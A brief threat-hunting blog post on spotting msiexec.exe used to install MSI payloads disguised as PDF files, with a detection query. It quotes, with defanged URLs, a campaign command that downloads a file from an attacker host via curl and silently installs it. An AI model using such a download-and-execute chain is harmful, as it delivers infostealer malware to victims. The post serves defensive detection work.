242. Can Msiexec Install a PDF file?

Hello everyone!

Another useful idea for threat hunting is searching for unusual file types executed via system binaries as part of System Binary Proxy Execution (T1218) technique.

Yesterday Huntress blogged about a curious example of FileFix technique used by an adversary to deliver and execute MetaStealer.

As part of the kill chain, a victim should run an LNK file, which would execute the following command:

%comspec% /k "start msedge hXXps://anydesk[.]com/en/downloads/windowslatest & curl -sLo %TEMP%\%COMPUTERNAME%6.pdf hXXps://%COMPUTERNAME%6.chat1[.]store/update/6.pdf & msiexec /i %TEMP%\%COMPUTERNAME%6.pdf /qn & taskkill /f /im cmd.exe"

And what do we see here? The adversary used msiexec.exe to execute a PDF file (which is actually an MSI installer, of course). And we can hunt for similar behaviors:

event_type: "processcreatewin"

AND

proc_file_name: "msiexec.exe"

AND

cmdline: *pdf

See you tomorrow!

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